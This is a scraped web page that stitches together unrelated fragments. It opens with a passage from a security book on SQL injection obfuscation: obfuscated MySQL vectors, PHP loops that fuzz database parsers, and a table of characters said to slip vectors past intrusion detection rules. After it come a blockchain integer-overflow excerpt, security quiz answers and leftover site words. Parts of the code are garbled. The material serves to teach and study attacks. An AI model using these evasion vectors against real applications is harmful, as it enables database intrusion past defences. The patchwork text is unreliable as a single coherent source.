SELECT @a:=26143544982.875,@b:=16,unhex(hex(@a*@b)); #‘admin’

[email protected],/*[email protected]:=26143544982.875,@b:=x‘3136’,*/unhex(hex(@a*@b)) #‘admin’

The last code snippet in the preceding example makes use of MySQL-specific code, a feature comparable to conditional comments in JScript. We discuss this further in the section “MySQL-Specific Code.”

Intermediary characters

Thus far, we have seen most of the relevant language elements of SQL queries, and we know how to work with functions and operators as well as how to use them for extra obfuscation. But the most important topic is still to follow: the intermediary characters that we can use between several language elements to separate them. We talked about those in combination with markup in Chapter 2, and learned that often, a surprisingly high number of different characters can be used between tags and attributes. With SQL, the situation is a bit different, since SQL is not a markup language and characters might actually have more semantic and syntactic uses in SQL than in HTML. Let us look at a small script that generates a loop to learn more about these intermediary characters on MySQL with PHP.

<?php

$link = mysql_connect(‘localhost’, ‘username’, ‘password’);

mysql_select_db(‘_test’,$link);

for($i = 1; $i<=255;$i++) {

$chr = chr($i);

if(mysql_query(‘SELECT’.$chr.’1’, $link)) {

echo ‘0x’.dechex($i).‘ (‘.$chr.’)’. “<br>”;

}

}

The result of the preceding code is not very surprising. The usual candidates, such as the Tab key and Spacebar, are working, as are the line breaks, and all characters working as mathematical operators for the 1 can be used as well. What is working too is the character at decimal table position 160 (0xA0), the nonbreaking space. This was documented in 2007,3 but it is still not very well known and often can be used to sneak a vector through intrusion detection system rules. Oracle and PostgreSQL seem to be rather strict compared to MySQL in this regard, but Oracle allows the null byte to be part of a query, which again leaves a lot of room for filter circumvention. Table 7.2 lists other characters that can be used on the tested DBMSs (the query used in this case was SELECT[intermediary character]1).

Table 7.2. Intermediary Characters

DBMS/ConnectorValid Intermediary Characters (Hexadecimal Representation)
PHP/MySQL 0x9, 0xa, 0xb, 0xc, 0xd, 0x20, 0x21, 0x2b, 0x2d, 0x40, 0x7e, 0xa0
PHP/Mysqli 0x9, 0xa, 0xb, 0xc, 0xd, 0x20, 0x21, 0x2b, 0x2d, 0x40, 0x7e, 0xa0
PHP/PostgreSQL 0x9, 0xa, 0xc, 0xd, 0x20, 0x2b, 0x2d, 0x2e, 0x40, 0x7e
PHP/OCI8 0x0, 0x9, 0xa, 0xb, 0xc, 0xd, 0x20, 0x2b, 0x2d, 0x2e
PHP/MySQL via PDO 0x9, 0xa, 0xb, 0xc, 0xd, 0x20, 0x21, 0x2b, 0x2d, 0x40, 0x7e, 0xa0

Things get even more interesting if we change the structure of the loop script slightly and add more characters to test on—this time not only a character in front of the 1 but also a character at the end of the query. Here is the code:

<?php

$link = mysql_connect(‘server’, ‘username’, ‘password’);

mysql_select_db(‘database’, $link);

for($i = 0; $i<=255;$i++) {

$chr = chr($i);

for($j = 0; $j<=255;$j++) {

$chr2 = chr($j);

if(mysql_query(‘SELECT’.$chr.‘1’.$chr2.’’, $link)) {

echo dechex($i).‘,’.dechex($j).‘<br>’;

}

}

}

These results are more interesting than the results from the previous loop, since we can see some interesting DBMS behavior here. For example, the loop unveiled the fact that it is possible on PHP and MySQL, regardless of the connector being used, to actually end a query not only with comments and the null byte plus semicolon combination but also with the character at ASCII table position 96, which is the accent grave or back tick. SQL code such as this actually works, and returns the expected 1 and 2: SELECT 1,2`whatever you might add here. The loop also unveiled the possibility of using a shortcut for setting aliases on MySQL. A query setting the alias for the returned value usually looks like this: SELECT 1 AS A. But it also works if you omit the AS keyword and just execute SELECT 1 A, or if you omit the whitespace, as in SELECT(1)A.

On PostgreSQL, a null byte or a semicolon can be used to end queries, and syntax such as SELECT 1 !2 will not throw an error but will return the result 1. SELECT 1M2 will return 1 as well, and will have the application assume the column name is m, while the field value is also 1 with an unknown column name for SELECT~1!2. A simple [email protected] works also, as does [email protected]ù, and so on.

Fuzzing against DBMSs for intermediary characters and more makes a lot of sense, and basic implementations of fuzzers and loops can be built very quickly, as the example code showed. Especially, when you combine them with more than two different characters, a lot of research can be done and a lot of issues will likely be found, particularly with the rather tolerant and quirky parsers of MySQL and PostgreSQL. In the next section, we will see what possibilities for obfuscation exist in this regard.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9781597496049000078

A taxonomy study on securing Blockchain-based Industrial applications: An overview, application perspectives, requirements, attacks, countermeasures, and open issues

Khizar Hameed, ... Byeong Kang, in Journal of Industrial Information Integration, 2022

7.5.1 Integer overflow attack

Integer overflow is a common security vulnerability in many applications, mainly based on ethereum smart contracts, which occurred primarily due to a lack of code validations. Smart contracts are a series of programme codes in which unique numbers determine an integer’s upper and lower limits. An integer overflow problem occurs when the value executed reaches its prescribed limits, causing the machine to halt specific errors.

A few solutions have been suggested to mitigate the risk of integer overflow attack in smart contracts; however, most of them focus on careful analysis, rewriting, verification of codes writing [304,315].

Read full article

URL: //www.sciencedirect.com/science/article/pii/S2452414X21001060

Is a vulnerability that occurs when data is written beyond the limits of a buffer?

A buffer overflow happens when a program either tries to place data in a memory area past the buffer, or attempts to put more data in a buffer than it can hold. Writing data beyond an allocated memory block's bounds can crash the program, corrupt data, or allow an attacker to execute malicious code.

What are two ways to protect a computer from malware choose to?

What are two ways to protect a computer from malware? (Choose two.).
Empty the browser cache..
Use antivirus software..
Delete unused software..
Keep software up to date..
Defragment the hard disk. Explanation: At a minimum, a computer should use antivirus software and have all software up to date to defend against malware..

What type of an attack can disable a computer?

What type of an attack can disable a computer by forcing it to use memory or by overworking its CPU? Explanation: Algorithm attacks can force computers to use memory or overwork the CPU.

Which term describes the impersonation of another computer or device?

Spoofing is the act of disguising a communication from an unknown source as being from a known, trusted source. Spoofing can apply to emails, phone calls, and websites, or can be more technical, such as a computer spoofing an IP address, Address Resolution Protocol (ARP), or Domain Name System (DNS) server.

Toplist

Neuester Beitrag

Stichworte